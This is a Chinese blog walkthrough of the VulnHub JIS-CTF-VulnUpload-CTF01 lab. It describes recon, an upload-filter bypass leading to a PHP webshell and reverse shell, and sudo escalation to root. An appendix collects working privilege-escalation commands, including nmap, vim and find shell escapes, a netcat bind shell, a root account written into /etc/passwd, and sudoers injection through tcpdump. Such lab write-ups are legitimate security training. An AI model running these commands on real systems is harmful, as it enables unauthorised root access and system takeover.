vulnhub- JIS-CTF-VulnUpload-CTF01笔记

此处有坑，在运行靶机环境的时候一直获取不到地址，报Failed to start Raise network interfaces，参考网友的解决办法https://blog.csdn.net/wuzhong8809/article/details/83374140解决了问题，当然前提是要登录靶机, 解决方法在下面

## 账号口令 technawi - 3vilH@ksor
# 启用网卡
sudo ifconfig ens33 up 
# 分配IP
sudo dhclient

## 账号口令 technawi - 3vilH@ksor

# 启用网卡

sudo ifconfig ens33 up

# 分配IP

sudo dhclient

信息收集

nmap扫端口

λ nmap -p 1-65535 192.168.111.4
Starting Nmap 7.70 
Nmap scan report for 192.168.111.4
Host is up (0.00074s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Apache/2.4.18 (Ubuntu)

λ nmap -p 1-65535 192.168.111.4

Starting Nmap 7.70

Nmap scan report for 192.168.111.4

Host is up (0.00074s latency).

Not shown: 65533 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

Apache/2.4.18 (Ubuntu)

dirbuster扫目录

http://192.168.111.4:80/uploaded_files/
http://192.168.111.4:80/uploaded_files/index.php
http://192.168.111.4:80/flag/
http://192.168.111.4:80/robots.txt  

//又一次, robots.txt 
User-agent: *
    Disallow: /
    Disallow: /backup
    Disallow: /admin
    Disallow: /admin_area
    Disallow: /r00t
    Disallow: /uploads
    Disallow: /uploaded_files
    Disallow: /flag

http://192.168.111.4:80/uploaded_files/

http://192.168.111.4:80/uploaded_files/index.php

http://192.168.111.4:80/flag/

http://192.168.111.4:80/robots.txt

//又一次, robots.txt

User-agent: *

Disallow: /

Disallow: /backup

Disallow: /admin

Disallow: /admin_area

Disallow: /r00t

Disallow: /uploads

Disallow: /uploaded_files

Disallow: /flag

顺便得到flag 1

The 1st flag is : {8734509128730458630012095}

1 2	The 1st flag is : {8734509128730458630012095}

/admin_area

什么有用的信息都没有? 别急, 刷过的ctf题告诉我, 是障眼法——检查下源码

php+HTML  顺便拿到了flag 2

后台有个上传点嘛，在js看到校验规则，直接改后缀绕过，上传大马无法解析，用一句话上个反弹msfshell的php木马

提权

拿到了一个www-data的shell，要提权到root

顺便拿到了flag 3




		
		
			
			

			
			```shell
try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)

The 3rd flag is : {7645110034526579012345670}

			
				
					
				
					1
2
3
4
5
				
						```shell
try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)
 
The 3rd flag is : {7645110034526579012345670}
 
					
				
			
		


SUID误配提权
其实，和之前g0rmint的靶机一样，我们也在/home目录下找到了.sudo_as_admin_successful文件（下图）；因此，只要我们能成功登录technawi用户，多半又是直捣黄龙

  sudo误配的一种利用手法是，查看 /home目录下是否 .sudo_as_admin_successful文件，若有则可以输入当前低权账号的密码直接 sudo su 切换为 root用户，而在已经获取当前账号的系统环境的前提下，要拿到低权账号的密码


那么，找密码吧，经过一番人肉搜寻(ls -al 一把梭)，无果；猛然想起，此次渗透居然没有涉及到数据库的交互，不对劲——凭据是否在mysql的配置文件中呢？果不其然，在mysql的文件夹里



		
		
			
			

			
			sudo -l 
# 输入密码...
# 如果出现一堆ALL, 基本有戏
sudo su

			
				
					
				
					1
2
3
4
5
				
						sudo -l 
# 输入密码...
# 如果出现一堆ALL, 基本有戏
sudo su
 
					
				
			
		


毫无波澜地拿到root权限
附录SUID滥用提权


		
		
			
			

			
			# 以下命令将尝试查找具有root权限的SUID的文件，不同系统适用不同的命令，一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \ 

			
				
					
				
					1
2
3
4
5
				
						# 以下命令将尝试查找具有root权限的SUID的文件，不同系统适用不同的命令，一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \ 
 
					
				
			
		


查找SUID文件，看有没有能够直接提权的文件


		
		
			
			

			
			find / -user root -perm -4000 -print 2>/dev/null
    /usr/lib/snapd/snap-confine
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/policykit-1/polkit-agent-helper-1
    /usr/lib/openssh/ssh-keysign
    /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    /usr/lib/eject/dmcrypt-get-device
    /usr/bin/newgidmap
    /usr/bin/chfn
    /usr/bin/newuidmap
    /usr/bin/chsh
    /usr/bin/sudo
    /usr/bin/newgrp
    /usr/bin/gpasswd
    /usr/bin/pkexec
    /usr/bin/passwd
    /bin/ping
    /bin/ping6
    /bin/su
    /bin/umount
    /bin/fusermount
    /bin/mount
    /bin/ntfs-3g

			
				
					
				
					1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
				
						find / -user root -perm -4000 -print 2>/dev/null
    /usr/lib/snapd/snap-confine
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/policykit-1/polkit-agent-helper-1
    /usr/lib/openssh/ssh-keysign
    /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    /usr/lib/eject/dmcrypt-get-device
    /usr/bin/newgidmap
    /usr/bin/chfn
    /usr/bin/newuidmap
    /usr/bin/chsh
    /usr/bin/sudo
    /usr/bin/newgrp
    /usr/bin/gpasswd
    /usr/bin/pkexec
    /usr/bin/passwd
    /bin/ping
    /bin/ping6
    /bin/su
    /bin/umount
    /bin/fusermount
    /bin/mount
    /bin/ntfs-3g
 
					
				
			
		


只要搜出来下面列表里的东西，基本可以提权

nmap
有两种提权方式




		
		
			
			

			
			# 第一种提权方式：老版本的nmap（2.02-5.21）有 interactive，是允许用户执行系统命令的
>> nmap --interactive 
nmap> !sh 
sh-3.2 # >> whoami 
root 

# 第二种提权方式——创建nse脚本提权
## 先创建一个nse文件
>> echo "os.execute('/bin/bash')" > /tmp/shell.nse
>> sudo nmap --script=/tmp/shell.nse

			
				
					
				
					1
2
3
4
5
6
7
8
9
10
11
				
						# 第一种提权方式：老版本的nmap（2.02-5.21）有 interactive，是允许用户执行系统命令的
>> nmap --interactive 
nmap> !sh 
sh-3.2 # >> whoami 
root 
 
# 第二种提权方式——创建nse脚本提权
## 先创建一个nse文件
>> echo "os.execute('/bin/bash')" > /tmp/shell.nse
>> sudo nmap --script=/tmp/shell.nse
 
					
				
			
		


msf中的模块为： exploit/unix/local/setuid_nmap, 需要nmap的路径


vim
打开vim，按下ESC ，即如下操作




		
		
			
			

			
			# Press ESC key
:set shell=/bin/sh 
:shell

# 觉得vi里面交互，命令太复杂记不住？直接一把梭
sudo vim -c '!bash'

			
				
					
				
					1
2
3
4
5
6
7
				
						# Press ESC key
:set shell=/bin/sh 
:shell
 
# 觉得vi里面交互，命令太复杂记不住？直接一把梭
sudo vim -c '!bash'
 
					
				
			
		



还有一种方法：假如能读写/etc/passwd，只需要文件中本用户所在行的第一个数字改为0保存即可（真实渗透时，原文件记得存档。。。不然，后果很危险）

find



		
		
			
			

			
			# 直接一把梭
sudo find /bin/ -name ls -exec /bin/bash \;

# 反弹shell的
touch test find test -exec whoami \; 
## 如果服务器上装了nc，可以直接使用以下命令进行监听： 
find test -exec netcat -lvp 4444 -e /bin/sh \; 
## 之后进行连接：则可获取root shell 
netcat 192.168.111.1 4444


			
				
					
				
					1
2
3
4
5
6
7
8
9
10
11
				
						# 直接一把梭
sudo find /bin/ -name ls -exec /bin/bash \;
 
# 反弹shell的
touch test find test -exec whoami \; 
## 如果服务器上装了nc，可以直接使用以下命令进行监听： 
find test -exec netcat -lvp 4444 -e /bin/sh \; 
## 之后进行连接：则可获取root shell 
netcat 192.168.111.1 4444
 
 
					
				
			
		



bash


		
		
			
			

			
			bash -p

			
				
					
				
					1
2
				
						bash -p
 
					
				
			
		


more




		
		
			
			

			
			more /home/pelle/myfile
!/bin/bash 

			
				
					
				
					1
2
3
				
						more /home/pelle/myfile
!/bin/bash 
 
					
				
			
		



less



		
		
			
			

			
			less /etc/passwd 
!/bin/sh 

			
				
					
				
					1
2
3
				
						less /etc/passwd 
!/bin/sh 
 
					
				
			
		



cp/mv
方式一：使用cp覆盖 /etc/shadow ，
cp具有SUID权限，可以通过替换/etc/passwd进行提权直接生成新账号、密码




		
		
			
			

			
			# 生成一个新的/etc/passwd，用户名data密码123
>> cat /etc/passwd
>> openssl passwd -1 -salt data 123
$1$data$GjDuj3QgL0edNBoahZ.Xg/
>>  touch passwd
# 将以下内容插入passwd，生成一个新的passwd文件
>> echo data:$1$data$GjDuj3QgL0edNBoahZ.Xg/:0:0::/root:/bin/bash > passwd
## chmod u+s /bin/cp
>> cp passwd /etc/passwd
>> su data
Password: 
# whoami 
root

			
				
					
				
					1
2
3
4
5
6
7
8
9
10
11
12
13
14
				
						# 生成一个新的/etc/passwd，用户名data密码123
>> cat /etc/passwd
>> openssl passwd -1 -salt data 123
$1$data$GjDuj3QgL0edNBoahZ.Xg/
>>  touch passwd
# 将以下内容插入passwd，生成一个新的passwd文件
>> echo data:$1$data$GjDuj3QgL0edNBoahZ.Xg/:0:0::/root:/bin/bash > passwd
## chmod u+s /bin/cp
>> cp passwd /etc/passwd
>> su data
Password: 
# whoami 
root
 
					
				
			
		



git



		
		
			
			

			
			sudo git help status
# 输入!/bin/bash即可获得root权限


			
				
					
				
					1
2
3
4
				
						sudo git help status
# 输入!/bin/bash即可获得root权限
 
 
					
				
			
		



tcpdump


		
		
			
			

			
			# 首先创建一个文件，并赋予执行权限
>>  cat /tmp/test 
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
>>  chmod +x /tmp/test
# 进行提权操作

>> sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root

>> sudo su
# 提权成功
# whoami 
root


			
				
					
				
					1
2
3
4
5
6
7
8
9
10
11
12
13
14
				
						# 首先创建一个文件，并赋予执行权限
>>  cat /tmp/test 
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
>>  chmod +x /tmp/test
# 进行提权操作
 
>> sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root
 
>> sudo su
# 提权成功
# whoami 
root
 
 
					
				
			
		


screen
严格来说，这属于exp提权的范围了；具有SUID的screen v4.5.0 存在提权漏洞, 之前做HackTheBox靶场的Wall靶机时遇到过；拿这里的exp编译直接打即可


虽然整理的这些姿势，这次一个没用上，不过并不影响，收藏以后备用！
EXP提权
查看内核版本


		
		
			
			

			
			uname -rnma
Linux Jordaninfosec-CTF01 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

			
				
					
				
					1
2
3
				
						uname -rnma
Linux Jordaninfosec-CTF01 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 
					
				
			
		


这部分没有深入测试；猜想还是用这里的提权exp吧，在别的ubuntu上编译好后运行。
反思
其实，无论是这种靶机也好，普通的ctf比赛也罢，用户的登录凭据很大可能会存到txt文件里。
那么我们就全局搜索后缀名为txt的文件


		
		
			
			

			
			# 全局搜索后缀名为txt的文件（并丢弃查找过程中发生的错误）
>> find / -type f -name "*.txt"  2>/dev/null

# 以下为运行结果
/etc/mysql/conf.d/credentials.txt


			
				
					
				
					1
2
3
4
5
6
7
				
						# 全局搜索后缀名为txt的文件（并丢弃查找过程中发生的错误）
>> find / -type f -name "*.txt"  2>/dev/null
 
# 以下为运行结果
/etc/mysql/conf.d/credentials.txt
 
 
					
				
			
		


而且，还可以来一手更骚的操作：既然我们要找账号密码，那为何不直接全局搜索含有technawi的文本，命令在下面


		
		
			
			

			
			# 全局搜索含有technawi的文本，并打印出那一行文字
>> find ./ -type f -name "*.txt" | xargs grep "technawi"  2>/dev/null

# 以下为运行结果
......
./etc/mysql/conf.d/credentials.txt:username : technawi
.......
./var/www/html/hint.txt:try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)


			
				
					
				
					1
2
3
4
5
6
7
8
9
10
				
						# 全局搜索含有technawi的文本，并打印出那一行文字
>> find ./ -type f -name "*.txt" | xargs grep "technawi"  2>/dev/null
 
# 以下为运行结果
......
./etc/mysql/conf.d/credentials.txt:username : technawi
.......
./var/www/html/hint.txt:try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)
 
 
					
				
			
		



舒服了

reference

  https://www.jianshu.com/p/6b8d654f39b0

   https://www.cesafe.com/3999.html